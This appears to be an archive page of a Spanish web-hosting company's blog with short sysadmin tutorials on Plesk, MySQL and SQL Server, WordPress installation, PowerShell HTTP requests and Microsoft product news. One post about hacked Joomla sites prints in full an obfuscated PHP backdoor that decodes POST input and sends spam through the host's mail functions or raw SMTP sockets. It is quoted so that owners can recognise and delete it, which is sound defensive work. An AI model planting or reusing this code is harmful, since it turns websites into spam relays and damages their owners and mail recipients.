Blackslot blog

Bajo la categoría ‘Sistemas TI’

Ver los logs de Apache o IIS en Plesk

Escrito por Sergio el 30-09-2013

Con el nuevo diseño de Plesk, algunas de las opciones ahora se encuentran más ocultas que antes. Cómo no sois pocos los que nos preguntáis por ellas en este y sucesivos posts vamos a ir viendo cómo localizar algunas de las más reclamadas.

Logs del servidor

Desde aquí podemos ver todos los logs que se van generando, si son muchos también podemos controlar su rotación.

Logs2 del servidor

Comentarios desactivados | Archivado como Sistemas TI | 30/09/2013

Clonar una base de datos

Escrito por Sergio el 28-09-2013

A fin de realizar pruebas, actualizaciones o cambios previamente es recomendable tener una copia o hacer las pruebas con dicha copia sin tocar la bd en producción. Para ello, podemos clonar nuestra base de datos de forma sencilla desde el panel de control. Esta técnica es válida para bases de datos mySQL cómo MSSQL.

1) Desde el panel de control Plesk > Sitios Web y Dominios > Bases de datos y pinchamos en Copiar.

copiar1

2) – Suscripción de destino: Podremos escoger otro dominio/suscripción en el caso de que tengamos más alojamientos con la misma cuenta en el mismo servidor.
- Base de datos de destino: Creamos una base de datos nueva con el nombre que le queramos dar.
- Crear una copia completa: Seleccionamos esta opción si queremos traernos todos los registros de la base de datos de origen. En el caso de que sólo necesitemos la estructura dejaríamos la opción sin marcar.

copiar2

3) Con esto se empezará a clonar la base de datos, dependiendo del tamaño de la misma te podrás tomar el café tranquilo o no ;). Fíjate en que no da la opción de Webadmin, sino existe un usuario con permisos.

copiar3

4) En la pestaña Usuarios podemos crear el acceso correspondiente.

copiar4

copiar5

Con esto ya tenemos nuestra base de datos clonada, rápido y sencillo ¿verdad?.

copiar6

Comentarios desactivados | Archivado como Sistemas TI | 28/09/2013

En este artículo explicaremos cómo mover el contenido de una base de datos a una nueva.

EXPORTAR UNA BASE DE DATOS

1) En el panel de control Plesk vamos a SITIOS WEB Y DOMINIOS > Bases de Datos.

mysqlimport1

2) Seleccionamos la opción Webadmin de la base de datos origen (la que queremos exportar).

mysqlimport2

3) Una vez en phpMyAdmin, vamos a la opción Exportar y le damos a Continuar.

mysqlimport3

IMPORTAR UNA BASE DE DATOS

Una vez tenemos la base de datos, hay que ir al Webadmin de la base de datos de destino, si aún no tenemos una base de datos es el momento de crearla desde PLESK.

1) Antes de importa la base de datos tenemos que editar el archivo .sql que nos hemos descargado, para ello se puede usar cualquier editor de texto simple, en este ejemplo yo uso Sublime Text.

Tenemos 2 líneas importantes:

CREATE DATABASE -> La borramos entera. Ya que no es necesario crear la base de datos al haberlo hecho desde Plesk.
USE databasename -> El databasename debe coincidir con el nombre de la base de datos destino.

mysqlsublime

2) Con nuestro .sql listo para el combate. Vamos a la opción Importar > Seleccionamos la base de datos a subir y le damos a Continuar.

mysqlimport4

3) Si todo ha ido bien, veremos que se han creado las correspondientes tablas y sus registros.

mysqlimport5

Comentarios desactivados | Archivado como Sistemas TI | 27/09/2013

¿Han hackeado mi Joomla?

Escrito por Soraya el 03-06-2013
Joomla hackeado

Descubre cómo limpiar el código malicioso inyectado en Joomla

¿Sospechas que alguien ha hackeado tu Joomla, y está utilizándolo para realizar envíos masivos de correo spam?

Es probable que el hack en cuestión tenga forma de archivo .php, y se encuentre mezclado con el resto de los archivos de tu página web. El nombre del archivo es completamente aleatorio, y no afecta a su funcionamiento. Lo importante es el código dentro del mismo, que tiene este aspecto:

<?php
@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys
($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; ca
se chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disabl
e_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3
($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26
b0b1)); if (strpos($v01b6e203, ';', 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vb
fbb12dc); $v3a5939e4 = next(explode('@', $v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbf
bb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777
f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc3448
7c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc344
87c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 =
preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"
; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Prior
ity: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; if (!in_arr
ay('mail', $v619d75f8)) { if ($v10497e3f) { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) die(chr(79).chr(75).md5(1234567890)."+0"); } else { if (@mail($v
01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) die(chr(79).chr(75).md5(1234567890)."+0"); } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <"
.preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a
2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { di
e(chr(79).chr(75).md5(1234567890)."+1"); } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417"; } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0
-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a
= false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b6
85; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
$vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0
); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @
fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('strea
m_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866)
{ return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e20
3)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b
6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d
2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) !=
354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 25
0 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = '';
while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if
(!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea
816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b
= 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>

Si encuentras un archivo desconocido fuera de lugar, que tú no has creado y que lleva este código dentro, bórralo inmediatamente.

El riesgo principal, más allá de la seguridad de tu sitio, es que todas las cuentas de correo dependientes de tus dominios entren en listas negras de spam, impidiéndote enviar y recibir correo correctamente. El proceso para salir de las listas negras puede ser largo en el peor de los casos, pudiendo dejar tus cuentas de correo inutilizadas durante varios días.

Comentarios desactivados | Archivado como General, Sistemas TI | 03/06/2013

Al tratar de hacer un backup de una base de datos pesada en SQL Server desde el panel de control Plesk se produce el siguiente error:

“The timeout period elapsed prior to the completion of the operation or the server is not responding”.

El motivo es que las conexiones remotas tienen un tiempo máximo y sino se completa el proceso se cierra la misma produciéndose así el error.

La mayoría de las veces se soluciona aumentando el tiempo de la conexión que Plesk establece, para hacerlo hay que editar las siguientes entradas en el registro (regedit).

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Plesk\PSA Config\Config\ADOConnectionTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Plesk\PSA Config\Config\ADOCommandTimeout

Para poner un valor similar al que tiene por defecto SQL Server, podemos ponerlo a 600 y probar.

Si la base de datos es demasiado pesada y queremos permitir hacer backup, tendremos que ajustar además el valor del propio SQL Server por uno más alto, si lo ponemos a 0 será ilimitado.

El comando para ver el timeout es:

EXEC sp_configure

Si queremos cambiarlo por ejemplo a 1000, ejecutamos:

EXEC SP_CONFIGURE 'remote query timeout', 1000
reconfigure

También se puede hacer desde las propiedades de Sql Server > Connections.

Timeout en SQL al hacer el backup

Cómo solucionar el error de timeout al realizar el backup de SQL Server

 

1 comentario | Archivado como Sistemas TI | 08/05/2013

Error al actualizar awstats en Plesk

Escrito por Sergio el 06-05-2013

Cuando las estadísticas de un servidor no se actualizan es porque ha ocurrido algún error al procesarse. Es conveniente ejecutar el proceso a mano para ver dónde se produce error.

/usr/local/psa/admin/sbin/statistics

Hay varios errores que se pueden dar. En este caso obtenemos el siguiente error:

System error 2: No such file or directory
statistics_collector: Unable to execute /usr/share/awstats/tools/awstats_buildstaticpages.pl -awstatsprog=/usr/share/awstats/wwwroot/cgi-bin/awstats.pl -configdir=/usr/local/psa/etc/awstats -config=dominio.com-https -dir=/var/www/vhosts/dominio.com/statistics/webstat-ssl/current  >/dev/null 2>&1

En /etc/psa/psa.conf revisamos las rutas relativas a awstats y vemos que están mal. La solución pasa por corregirlas y ejecutar de nuevo el script para confirmar que esta vez se ejecuta correctamente.

[root@server psa]# diff psa.conf psa.conf.default
110,111c110,111
AWSTATS_BIN_D /usr/share/awstats/wwwroot/cgi-bin
AWSTATS_TOOLS_D /usr/share/awstats/tools
---
AWSTATS_BIN_D /var/www/cgi-bin/awstats
AWSTATS_TOOLS_D /usr/share/awstats

Comentarios desactivados | Archivado como Sistemas TI | 06/05/2013

Alternativas nativas a wget en Windows

Escrito por Sergio el 02-05-2013

Por norma general no se debería instalar nada en los servidores a no ser que sea estrictamente necesario, es decir, que el propio sistema no sea capaz de ofrecer la funcionalidad necesaria.

En muchos casos, por el desconocimiento de las herramientas nativas para Windows, los administradores terminan instalando herramientas de terceros como alternativa en Windows llenando el sistema de utilidades que realmente no necesitan, en algunos casos penalizando el rendimiento del server y en el peor de los casos instalando herramientas que llevan detrás “regalitos” con malware.

Un ejemplo, es cuando se pregunta en los foros por algo similar para Windows al comando wget de Linux. En la mayoría de los casos, aparecen respuestas recomendando la instalación de wget de GNU para Windows (http://gnuwin32.sourceforge.net/packages/wget.htm). No digo que no pueda ser útil, pero primero prueba con las utilidades nativas y sino te convencen busca alternativas.

En Powershell disponemos de varias formas de hacer peticiones HTTP o HTTPs a un sitio web:

Ejemplo 1:

PS C:\> Invoke-WebRequest blackslot.com

powershell_invoke

Ejemplo 2:

(new-object system.net.webclient).downloadstring('http://blackslot.com')

powershell_webclient

Recomendado jugar con las distintas opciones de estos comandos:

Invoke-WebRequest
WebClient

Comentarios desactivados | Archivado como Sistemas TI | 02/05/2013

Cambiar el idioma en Windows Server 2012

Escrito por Sergio el 30-04-2013

Nuestros servidores se entregan por defecto con la instalación del idioma original de Windows, vemos más recomendable utilizar el sistema en inglés pero si quieres cambiarlo a Español o cualquier otro puedes hacerlo en unos sencillos pasos, sin reinstalar el sistema.

1) Simplemente se trata de abrir “Language” en el panel de control:

language Windows Server 2012

2) Añadir un nuevo idioma

Cambiar el lenguaje en Windows Server 2012

Cambiar el lenguaje en Windows Server 2012

Cambiar el lenguaje en Windows Server 2012

3) Hay que bajarse los paquetes del idioma seleccionado.

Cambiar el lenguaje en Windows Server 2012 Cambiar el lenguaje en Windows Server 2012

4) Finalmente hay que elegir el idioma por defecto que deseamos e iniciar de nuevo sesión.

Cambiar el lenguaje en Windows Server 2012

Comentarios desactivados | Archivado como Nuestros servicios, Sistemas TI | 30/04/2013

Cómo instalar una plantilla de WordPress

Escrito por Soraya el 29-01-2013

Asegúrate de que tu plan de hosting te ofrece la posibilidad de utilizar una base de datos MySQL.

Activa la base de datos.

En el caso de Blackslot, utilizamos planes de hosting con panel Plesk y los pasos que hemos seguido son:

1) Activar la base de datos

Añadir base de datos MySQL en Plesk

Crear base de datos y nombre de base de datos en Plesk

2) Y crear un usuario para la base de datos

Nombre de usuario en la base de datos

Crear base de datos MySQL en Plesk

3) Posteriormente hemos subido WordPress.

Hay muchos paneles de administración de hosting que permiten autoinstalar aplicaciones como WordPress, pero no siempre se instala la última versión. Es recomendable instalar la última versión de un gestor de contenidos. En el caso de WordPress la encontrarás en su propia web, y la podrás descargar de manera gratuita.

Descargar WordPress en castellano

Descarga gratuita de WordPress

A través del administrador de archivos de Plesk, podrás subir el WordPress a tu alojamiento web. Si tu panel de hosting no te permite esa opción, podrás optar por subirlo de la manera tradicional, a través de FTP

Administrador de archivos en Plesk

Administrador de archivos en Plesk

Selecciona la carpeta httpdocs que es la que pertenece a las cuestiones referentes a la web

Directorio httpdocs en Plesk

Subir contenido a httpdocs en Plesk

Pincha sobre la opción “Añadir archivo”.

Subir archivo WP en Plesk

Subir WordPress en Plesk

Carga el archivo de WordPress que en los pasos anteriores has descargado. Puedes subir el archivo en formato zip, que es como se descarga.

cargar archivo wordpress

Sube el archivo WordPress y descomprímelo.

Descomprimir archivo wordpress en Plesk

Subir WordPress a Plesk

4) Cambia la raíz del documento. A esta operación también se la denomina modificación del document root. Así permitirás que el WordPress se instale en la propia URL de inicio de tu alojamiento.

Para completar este paso acude al apartado “Sitios web y dominios” y pincha sobre el nombre de tu dominio

Modificar raiz del documento

A continuación en la casilla en donde se indica “Raíz del documento” debes poner wordpress tras httpdocs/ tal y como mostramos en este ejemplo.

En este mismo apartado comprueba, también, las opciones para el soporte de PHP y asegúrate de que esté en modo FasctCGI

Modificar raiz del documento

Cambiar raíz del documento tras subir WordPress

5) Ahora, desde cualquier navegador,  accede a la url de tu web y sigue los pasos de instalación que se mostrarán en el asistente de WordPress.

¡Es muy fácil!

Asistente de instalación de WordPress

Sigue los pasos del asistente de WordPress

Instalación de WordPress II

En la única pantalla en la que deberás incluir contenido es en la que se solicita la inclusión de los datos de la base de datos que previamente has creado. Deberás incluir el nombre de la base de datos, el nombre de usuario y la contraseña de la base de datos que has creado previamente en el panel de control Plesk.

El resto de datos (host de la base de datos y prefijo de tabla) no es necesario que los modifiques.

Instalación de WordPress III

Incluir datos en el asistente de instalación de WordPress

Si accedes, nuevamente,  desde cualquier navegador al sitio de tu dominio,  te aparecerá una pantalla final que te solicitará el nombre que quieres para tu sitio WordPress. En esa pantalla podrás establecer el nombre de usuario y contraseña que luego te servirán para acceder al panel de gestión de WordPress.

Completar instalación de WordPress en tu hosting

Completar instalación de WordPress en tu hosting

Instalación de WordPress completa

6) Y por último, accede al panel de gestión de WordPress y  sube la plantilla que previamente te hayas descargado. (Súbela en formato zip)

Subir plantilla a WordPress

Subir el .zip de la template o plantilla a WordPress

Y una vez que el tema de WordPress o la plantilla haya subido, actívala.

Activar tema o plantilla en WordPress

Activar tema o plantilla en WordPress

Comentarios desactivados | Archivado como Nuestros servicios, Sistemas TI | 29/01/2013

Muchos programadores dejan abiertas (en Sleeping) todas las consultas que abren contra una bbdd sin ser conscientes de la carga que provocan al servidor y sólo se preocupan cuando se excede el límite de conexiones y se deniega el servicio.

En muchos casos como este, puede ser útil proporcionar al programador permisos para poder ver el Monitor de Actividad de SQL Server y así controlar cuantas querys quedan abiertas de forma innecesaria. Para dar permisos al usuario “blackslot” basta con ejecutar la siguiente sentencia:

USE master
GRANT VIEW SERVER STATE TO blackslot

Comentarios desactivados | Archivado como Sistemas TI | 16/01/2013

¿APPS? SÍ, AQUÍ Y AHORA

Escrito por Soraya el 16-08-2012

 

¿Quién iba a pensar, tan solo hace una década, que los dispositivos móviles iban a estar tan presentes en nuestras vidas e iban a gobernar tantos aspectos de lo cotidiano o iban a modificar con tanto ímpetu algunas de nuestras costumbres?

Ya no se espera con la misma impaciencia que se hacía antes. Ahora todo el mundo puede saber  donde está la persona con la que ha quedado para pasar la tarde,  lo que tardará en llegar el tren que espera,  el tiempo que tardará en diluirse o semidiluirse la caravana de tráfico en la que se encuentra atrapado…

El sentido de la inmediatez se ha hiperdesarrollado. Todo lo queremos ahora y ya.  Ya no se visitan las tiendas para saber si tienen en stock la silla de la colección de nombre inefable o los vaqueros de última generación, ni se espera hasta llegar a casa para resolver una consulta a través de Internet o del Espasa (Nota aclaratoria -> Espasa: dícese del diccionario enciclopédico que utilizábamos antes de que existiera Wikipedia)

Existen otras maneras de compartir conocimiento, de informarse, o de sentirse partícipe de una comunidad. Las nuevas tecnologías irrumpen en “los tiempo de ocio” y “los tiempos ociosos” mostrando un número inmenso de posibilidades. Es fácil encontrarse a gente que durante los tiempos muertos de espera entre andén y andén, o en la antesala del médico, o en la cola de la panadería se conecta a las redes sociales o gente que comparte sus opiniones en ellas mientras camina en una manifestación, ve la televisión o lee el periódico.

He elaborado una lista con lo que considero los usos más comunes  para los que se ha estandarizado la utilización de apps

-          Conocer horarios de transporte ->Trenes Cercanías renfe

-          Localizar un lugar -> Google maps

-          Consultar el tiempo-> Eltiempo.es o Windguru

-          Ver el programa de un evento o fiesta, o acceder a una agenda cultural, un ejemplo cercano en nuestro entorno es la Agenda Noiz

-          Conocer el estado del tráfico -> Ivía

-          Mensajería instantánea para dispositivos móviles -> Whatsapp

-          Reconocer canciones -> Shazam

-          Recordar tareas -> Wunderlist

-          Acceder a archivos almacenados, o guardar archivos en la nube -> DropboxSugarsync

-          Redes sociales -> Twitter, Facebook y Tuenti 

-          Rutas turísticas y gastronómicas -> Foodspotting con su versión para Android y su versión para iPhone, o  Wikitapas

 

Hay apps sorprendentes y cada vez son más los que destinan su capacidad de ingenio a ofrecer soluciones específicas, por ejemplo, ahora que en verano el sol “atiza con más rabia”,  se puede  medir la radiación ultravioleta con Screenshots.

No obstante, este es un nuevo mundo que acaba de descubrirse y en el que existe mucho por explorar.

 

Comentarios desactivados | Archivado como General, Sistemas TI | 16/08/2012

NUESTROS SERVICIOS PARA DESARROLLADORES

Escrito por Soraya el 11-07-2012

Cuando en un proyecto participa más de un programador y cada uno de ellos se encuentra en un lugar diferente, es más difícil coordinar su trabajo, y por tanto se pueden perder datos o modificar cosas que no deberían ser cambiadas.

Debido a esta problemática,  y a que en Blackslot  sabemos que supone un esfuerzo extra para los desarrolladores, hemos creado un servicio específico para ellos.  Se trata de unos servidores de desarrollo adaptados a sus necesidades y que les permitirán tener todo bajo control.

Con los servidores de desarrollo o control de versiones se puede volver a restaurar una versión anterior, controlar los cambios que va realizando cada persona o equipo, asignar tareas específicas….etc.

Sus principales ventajas frente a los servidores de desarrollo más conocidos en el mercado son:

- Ilimitado número de usuarios por proyecto

- Ilimitado número de proyectos (repositorios privados)

- Establecimiento de diferentes perfiles con diferentes permisos:

*             Master: Se trata de la figura que dirige el proyecto y tiene acceso a todos los departamentos
*             Developer: Los desarrolladores pueden tener acceso al código y a los commits (gestión del código)
*             Reporter (informes): Esta figura puede ver toda la información pero no modificarla.
*             Guest: Se trata de la figura de invitado. No ve el código pero puede crear tareas o dejar comentarios en el muro del proyecto.

- Se trata de servidores independientes para cada empresa, de modo que se garantiza mayor seguridad que en una plataforma compartida.

- Nuestro centro de datos, donde se hallan alojados los servidores, se encuentra en Madrid. Si una empresa, a la hora de alojar datos, quiere cumplir escrupulosamente con algunas normativas de seguridad de la LOPD, en Blackslot cuenta con un CPD dentro del país.

Comentarios desactivados | Archivado como Desarrollo web, General, Novedades, Nuestros servicios, Sistemas TI | 11/07/2012

Windows Azure Training Kit – June 2012

Escrito por Sergio el 03-07-2012

Microsoft ha publicado un kit de entrenamiento para aprender a usar Azure. El kit incluye 18 presentaciones, 42 hands-on-labs y contenido actualizado.

June 2012 Update

The June 2012 update of the Windows Azure Training Kit includes over 42 hands-on labs and 18 presentations. Some of the updates in this version include:

  • 12 new hands-on labs for Windows Azure Virtual Machines
  • 11 new hands-on labs for Windows Azure Web Sites
  • 2 new hands-on labs demonstrating Windows Azure with Windows 8 Metro-style applications
  • Several new hands-on labs for Node.js and PHP using Mac OS X
  • Updated content for the latest Windows Azure SDKs, tools, and new Windows Azure Management Portal
  • New and updated presentations designed to support individual sessions to a full 3 day training workshops

Comentarios desactivados | Archivado como General, Sistemas TI | 03/07/2012

Microsoft Product Roadmap 2012

Escrito por Sergio el 02-07-2012

Queremos compartir el Roadmap de Microsoft para 2012.

Windows 8
Anticipated release: Between Q3 2012 and early 2013 (UPDATED 6/28)
Windows Server 2012
Anticipated release: Between Q3 2012 and early 2013 (UPDATED 6/19)
System Center 2012
Released (UPDATED 6/19)
SQL Server 2012
Released (UPDATED 4/2)
Internet Explorer 10
Anticipated release: Between Q3 2012 and early 2013 (UPDATED 5/31)
“Office 15″
Anticipated release: Q4 2012 (UPDATED 6/12)
“Exchange 15″
Anticipated release: Q4 2012 (UPDATED 4/12)
Visual Studio 2012
Anticipated release: Unknown (UPDATED 6/11)
Kinect for Windows
Released (UPDATED 5/21)
Windows Phone “Tango” and “Apollo”
“Tango”: Released; Anticipated “Apollo” release: Q4 2012 (UPDATED 6/28)
Dynamics ERP Online
Anticipated release: September or October 2012 (UPDATED 5/16)
Office 365
Anticipated update schedule: “Almost weekly”(UPDATED 6/27)
Windows Azure
Rumored CTP release: Spring 2012 (UPDATED 6/12)
“SharePoint 15″
Anticipated release: Q4 2012 (UPDATED 4/24)

Fuente: RedmondChannelPartner

Comentarios desactivados | Archivado como General, Novedades, Sistemas TI | 02/07/2012

Familiarizándonos con Windows Server 2012

Escrito por Sergio el 29-06-2012

A finales de año está previsto el lanzamiento de Windows Server 2012. Microsoft ha publicado un e-book gratuito de introducción a su nuevo SO para servidores.

El e-book tiene 256 páginas y se divide en 5 capítulos:

Table of Contents

Chapter 1 The business need for Windows Server 2012
The rationale behind cloud computing Making the transition
Technical requirements for successful cloud computing
Four ways Windows Server 2012 delivers value for cloud computing Foundation for building your private cloud

Chapter 2 Foundation for building your private cloud
A complete virtualization platform
Increase scalability and performance Business continuity for virtualized workloads

Chapter 3 Highly available, easy-to-manage multi-server platform
Continuous availability
Cost efficiency
Management efficiency

Chapter 4 Deploy web applications on premises and in the cloud
Scalable and elastic web platform
Support for open standards

Chapter 5 Enabling the modern workstyle
Access virtually anywhere, from any device
Full Windows experience
Enhanced security and compliance

Se puede descargar desde aquí:

FORMAT LINK
PDF Introducing Windows Server 2012 PDF ebook
EPUB Introducing Windows Server 2012 EPUB ebook
MOBI Introducing Windows Server 2012 MOBI ebook

If you prefer a hard copy of the book, you can order it here for $14.99.

Asimismo, se han publicado 12 videos en Technet Edge muy recomendables para ponerse al día:

FUENTE: BLOGS MSDN

Comentarios desactivados | Archivado como General, Novedades, Sistemas TI | 29/06/2012